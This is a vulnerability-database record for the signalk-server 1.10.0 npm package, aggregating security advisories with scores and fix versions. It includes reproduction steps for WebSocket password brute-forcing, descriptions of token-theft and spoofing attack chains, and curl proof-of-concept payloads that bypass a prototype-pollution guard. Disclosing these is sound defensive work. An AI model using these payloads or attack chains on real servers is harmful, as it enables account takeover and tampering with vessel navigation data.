Lookup for vulnerable packages by Package URL.

Purlpkg:npm/signalk-server@1.10.0
Typenpm
Namespace
Namesignalk-server
Version1.10.0
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version2.25.0
Latest_non_vulnerable_version2.25.0
Affected_by_vulnerabilities
0
url VCID-1rr4-c6e1-nya1
vulnerability_id VCID-1rr4-c6e1-nya1
summary
Signal K Server Vulnerable to Access Request Spoofing
The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.

When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access.

The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.

Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-69203
reference_id
reference_type
scores
0
value 0.00021
scoring_system epss
scoring_elements 0.05913
published_at 2026-06-07T12:55:00Z
1
value 0.00021
scoring_system epss
scoring_elements 0.05894
published_at 2026-06-09T12:55:00Z
2
value 0.00021
scoring_system epss
scoring_elements 0.05869
published_at 2026-06-08T12:55:00Z
3
value 0.00021
scoring_system epss
scoring_elements 0.05911
published_at 2026-06-06T12:55:00Z
4
value 0.00021
scoring_system epss
scoring_elements 0.05921
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-69203
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 6.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3
reference_id
reference_type
scores
0
value 6.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3
3
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
reference_id
reference_type
scores
0
value 6.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-02T19:02:06Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-69203
reference_id CVE-2025-69203
reference_type
scores
0
value 6.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-69203
5
reference_url https://github.com/advisories/GHSA-vfrf-vcj7-wvr8
reference_id GHSA-vfrf-vcj7-wvr8
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vfrf-vcj7-wvr8
6
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8
reference_id GHSA-vfrf-vcj7-wvr8
reference_type
scores
0
value 6.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-02T19:02:06Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8
fixed_packages
0
url pkg:npm/signalk-server@2.19.0
purl pkg:npm/signalk-server@2.19.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-3s8j-v31f-pyaf
2
vulnerability VCID-jq2a-wxb1-dufm
3
vulnerability VCID-ndfm-uuf3-nbfg
4
vulnerability VCID-v11p-jkzw-vkar
5
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.19.0
aliases CVE-2025-69203, GHSA-vfrf-vcj7-wvr8
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-1rr4-c6e1-nya1
1
url VCID-2e2f-qt4n-dqa7
vulnerability_id VCID-2e2f-qt4n-dqa7
summary
Signal K Server's WebSocket Login Endpoint Lacks Rate Limiting (Credential Brute-Force)
## Summary

The HTTP login endpoints (`POST /login` and `POST /signalk/v1/auth/login`) are protected by `express-rate-limit` (default: 100 attempts per 10-minute window, configurable via `HTTP_RATE_LIMITS`). The WebSocket login path — sending `{login: {username, password}}` messages over an established WebSocket connection — calls `app.securityStrategy.login()` directly without any rate limiting.

An attacker can bypass HTTP rate limiting entirely by opening a WebSocket connection and attempting unlimited password guesses at the speed bcrypt allows (~20 attempts/sec with 10 salt rounds).

## Details

**Vulnerable code:** `src/interfaces/ws.ts`, function `processLoginRequest` (lines 753-780)

The function directly calls `app.securityStrategy.login(msg.login.username, msg.login.password)` with no throttling or attempt tracking.

**Rate-limited HTTP path for comparison:** `src/tokensecurity.ts` lines 609-617 apply `loginLimiter` middleware to the HTTP login routes at line 637.

## Steps to Reproduce

1. Start Signal K server with security enabled
2. Open a WebSocket connection to `ws://server:3000/signalk/v1/stream?subscribe=none`
3. Wait for the hello message
4. Send login attempts in rapid succession:
   ```json
   {"requestId": "1", "login": {"username": "admin", "password": "guess1"}}
   {"requestId": "2", "login": {"username": "admin", "password": "guess2"}}
   ```
5. Observe that all attempts are processed without any 429 response or throttling
6. For comparison, send 100+ HTTP POST requests to `/signalk/v1/auth/login` — the 101st returns 429

A POC script is available that demonstrates both the HTTP rate limiting working correctly and the WebSocket path accepting unlimited attempts.

## Impact

- Credential brute-forcing via the WebSocket protocol at ~20 attempts/sec (bcrypt-limited)
- Complete bypass of the HTTP rate limiting defense
- A single WebSocket connection is sufficient for unlimited attempts
- With multiple parallel connections, throughput multiplies
- A 10,000-word dictionary attack completes in ~8 minutes over a single connection

Signal K servers are commonly deployed on boat networks where they may be accessible to other devices on the same LAN.

## CWE

CWE-307: Improper Restriction of Excessive Authentication Attempts

## Suggested Fix

Track failed login attempts per remote IP in a shared store (or reuse the existing express-rate-limit store) that is checked in both the HTTP login middleware and the processLoginRequest WebSocket handler.

## Context

Found while building an open source maritime security scanner. Verified on v2.24.0 (current master).

Discovered by Mark Curphey
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41893
reference_id
reference_type
scores
0
value 0.00036
scoring_system epss
scoring_elements 0.11138
published_at 2026-06-07T12:55:00Z
1
value 0.00036
scoring_system epss
scoring_elements 0.1118
published_at 2026-06-05T12:55:00Z
2
value 0.00036
scoring_system epss
scoring_elements 0.11173
published_at 2026-06-06T12:55:00Z
3
value 0.00036
scoring_system epss
scoring_elements 0.11071
published_at 2026-06-09T12:55:00Z
4
value 0.00036
scoring_system epss
scoring_elements 0.11057
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41893
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-14T17:50:07Z/
url https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d
3
reference_url https://github.com/SignalK/signalk-server/pull/2568
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-14T17:50:07Z/
url https://github.com/SignalK/signalk-server/pull/2568
4
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.25.0
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-14T17:50:07Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.25.0
5
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-vmfm-ch9h-5c7g
reference_id
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-14T17:50:07Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-vmfm-ch9h-5c7g
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41893
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41893
7
reference_url https://github.com/advisories/GHSA-vmfm-ch9h-5c7g
reference_id GHSA-vmfm-ch9h-5c7g
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vmfm-ch9h-5c7g
fixed_packages
0
url pkg:npm/signalk-server@2.25.0
purl pkg:npm/signalk-server@2.25.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.25.0
aliases CVE-2026-41893, GHSA-vmfm-ch9h-5c7g
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2e2f-qt4n-dqa7
2
url VCID-3s8j-v31f-pyaf
vulnerability_id VCID-3s8j-v31f-pyaf
summary
Signal K Server: Unauthenticated Source Priorities Manipulation
## Summary

The SignalK Server exposes an unauthenticated HTTP endpoint that allows remote attackers to modify navigation data source priorities. This endpoint, accessible via `PUT /signalk/v1/api/sourcePriorities`, does not enforce authentication or authorization checks and directly assigns user-controlled input to the server configuration.

As a result, attackers can influence which GPS, AIS, or other sensor data sources are trusted by the system. The changes are immediately applied and persisted to disk, allowing the manipulation to survive server restarts.

### Affected Component
- **File**: `src/serverroutes.ts`
- **Endpoint**: `PUT /signalk/v1/api/sourcePriorities` (also accessible at `/skServer/sourcePriorities`)
- **Lines**: 1064-1076
- **Function**: Source priorities configuration handler

### Vulnerable Code

```typescript
// src/serverroutes.ts - Lines 1064-1076
app.put(
  `${SERVERROUTESPREFIX}/sourcePriorities`,
  (req: Request, res: Response) => {
    app.config.settings.sourcePriorities = req.body
    app.activateSourcePriorities()
    writeSettingsFile(app, app.config.settings, (err: any) => {
      if (err) {
        res
          .status(500)
          .send('Unable to save to sourcePrefences in settings file')
      } else {
        res.json({ result: 'ok' })
      }
    })
  }
)
```
## Vulnerability Characteristics

**Missing Authentication**: The endpoint has zero authentication middleware, allowing unauthenticated access from any network-adjacent attacker.

**Direct Configuration Assignment**: User-supplied request body is directly assigned to app.config.settings.sourcePriorities without validation or sanitization.

**Persistent Storage**: Malicious configuration is written to disk via writeSettingsFile(), ensuring changes survive server restarts.
**Live Configuration Update**: Changes take effect immediately via activateSourcePriorities(), affecting live navigation data processing.

**No Input Validation**: No JSON schema validation, type checking, or field allowlisting is performed on the request body.

## Impact
- **Navigation Data Manipulation**: Attackers can modify source priorities to change which existing, active source's data is being used
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33951
reference_id
reference_type
scores
0
value 0.00102
scoring_system epss
scoring_elements 0.27538
published_at 2026-06-06T12:55:00Z
1
value 0.00102
scoring_system epss
scoring_elements 0.27451
published_at 2026-06-08T12:55:00Z
2
value 0.00102
scoring_system epss
scoring_elements 0.275
published_at 2026-06-07T12:55:00Z
3
value 0.00102
scoring_system epss
scoring_elements 0.27589
published_at 2026-06-05T12:55:00Z
4
value 0.00108
scoring_system epss
scoring_elements 0.2851
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33951
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.1
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.1
3
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-gfmv-vh34-h2x5
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-gfmv-vh34-h2x5
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33951
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33951
5
reference_url https://github.com/advisories/GHSA-gfmv-vh34-h2x5
reference_id GHSA-gfmv-vh34-h2x5
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gfmv-vh34-h2x5
fixed_packages
0
url pkg:npm/signalk-server@2.24.0-beta.1
purl pkg:npm/signalk-server@2.24.0-beta.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.24.0-beta.1
1
url pkg:npm/signalk-server@2.24.0-beta.3
purl pkg:npm/signalk-server@2.24.0-beta.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-jq2a-wxb1-dufm
2
vulnerability VCID-ndfm-uuf3-nbfg
3
vulnerability VCID-veqf-x77b-4bf7
4
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.24.0-beta.3
aliases CVE-2026-33951, GHSA-gfmv-vh34-h2x5
risk_score 3.4
exploitability 0.5
weighted_severity 6.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-3s8j-v31f-pyaf
3
url VCID-84tp-z2dz-u7at
vulnerability_id VCID-84tp-z2dz-u7at
summary
Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling
SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.

**Unauthenticated WebSocket Request Enumeration**: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.

**Unauthenticated Token Polling**: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.

An attacker has two paths to exploit these vulnerabilities:

1. The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.

2. The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.

Both paths require zero authentication and enable complete authentication bypass.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-68620
reference_id
reference_type
scores
0
value 0.00056
scoring_system epss
scoring_elements 0.17732
published_at 2026-06-07T12:55:00Z
1
value 0.00056
scoring_system epss
scoring_elements 0.17675
published_at 2026-06-09T12:55:00Z
2
value 0.00056
scoring_system epss
scoring_elements 0.17657
published_at 2026-06-08T12:55:00Z
3
value 0.00056
scoring_system epss
scoring_elements 0.17766
published_at 2026-06-06T12:55:00Z
4
value 0.00056
scoring_system epss
scoring_elements 0.17771
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-68620
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3
3
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-02T18:58:09Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-68620
reference_id CVE-2025-68620
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-68620
5
reference_url https://github.com/advisories/GHSA-fq56-hvg6-wvm5
reference_id GHSA-fq56-hvg6-wvm5
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fq56-hvg6-wvm5
6
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-fq56-hvg6-wvm5
reference_id GHSA-fq56-hvg6-wvm5
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-02T18:58:09Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-fq56-hvg6-wvm5
fixed_packages
0
url pkg:npm/signalk-server@2.19.0
purl pkg:npm/signalk-server@2.19.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-3s8j-v31f-pyaf
2
vulnerability VCID-jq2a-wxb1-dufm
3
vulnerability VCID-ndfm-uuf3-nbfg
4
vulnerability VCID-v11p-jkzw-vkar
5
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.19.0
aliases CVE-2025-68620, GHSA-fq56-hvg6-wvm5
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-84tp-z2dz-u7at
4
url VCID-jq2a-wxb1-dufm
vulnerability_id VCID-jq2a-wxb1-dufm
summary
Signal K Server: Arbitrary Prototype Read via `from` Field Bypass
## Summary 

The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.

While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.

## Vulnerability Root Cause 

File: src/interfaces/applicationData.js (Lines 48-57)
```
const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']

function isPrototypePollutionPath(pathString) {
  const segments = pathString.split(/[./]/)
  return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from
    (patch) => patch.path && isPrototypePollutionPath(patch.path) 
  )
}
```
At Line 201:
```
if (hasPrototypePollutionPatch(req.body)) {
  res.status(400).send('invalid patch path')
  return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'

```
## Proof of Concept (PoC)

Verify the Developer Guard Works (The Blocked Payload):
```
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'
```
Result: 400 Bad Request - invalid patch path

Execute the Bypass (The Malicious Payload):
```
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'
```
Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.

<img width="1222" height="230" alt="Screenshot 2026-03-24 150440" src="https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6" />

## Security Impact
This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.

## Fixing Arbitrary Prototype Read

The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
```
function hasPrototypePollutionPatch(patches) {
  return patches.some(
    (patch) => 
      (patch.path && isPrototypePollutionPath(patch.path)) ||
      (patch.from && isPrototypePollutionPath(patch.from))
  )
}
```
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35038
reference_id
reference_type
scores
0
value 0.00067
scoring_system epss
scoring_elements 0.20876
published_at 2026-06-06T12:55:00Z
1
value 0.00067
scoring_system epss
scoring_elements 0.20769
published_at 2026-06-08T12:55:00Z
2
value 0.00067
scoring_system epss
scoring_elements 0.20833
published_at 2026-06-07T12:55:00Z
3
value 0.00067
scoring_system epss
scoring_elements 0.2089
published_at 2026-06-05T12:55:00Z
4
value 0.00077
scoring_system epss
scoring_elements 0.23138
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35038
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 2.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.24.0
reference_id
reference_type
scores
0
value 2.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/releases/tag/v2.24.0
3
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234
reference_id
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
1
value 2.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
2
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35038
reference_id
reference_type
scores
0
value 2.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35038
5
reference_url https://github.com/advisories/GHSA-qh3j-mrg8-f234
reference_id GHSA-qh3j-mrg8-f234
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qh3j-mrg8-f234
fixed_packages
0
url pkg:npm/signalk-server@2.24.0
purl pkg:npm/signalk-server@2.24.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-ndfm-uuf3-nbfg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.24.0
aliases CVE-2026-35038, GHSA-qh3j-mrg8-f234
risk_score 1.4
exploitability 0.5
weighted_severity 2.7
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-jq2a-wxb1-dufm
5
url VCID-mg7j-punt-3yhj
vulnerability_id VCID-mg7j-punt-3yhj
summary
Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding
A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-68272
reference_id
reference_type
scores
0
value 0.00085
scoring_system epss
scoring_elements 0.24618
published_at 2026-06-09T12:55:00Z
1
value 0.00085
scoring_system epss
scoring_elements 0.24609
published_at 2026-06-08T12:55:00Z
2
value 0.00085
scoring_system epss
scoring_elements 0.24667
published_at 2026-06-07T12:55:00Z
3
value 0.00085
scoring_system epss
scoring_elements 0.24723
published_at 2026-06-06T12:55:00Z
4
value 0.00085
scoring_system epss
scoring_elements 0.24733
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-68272
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
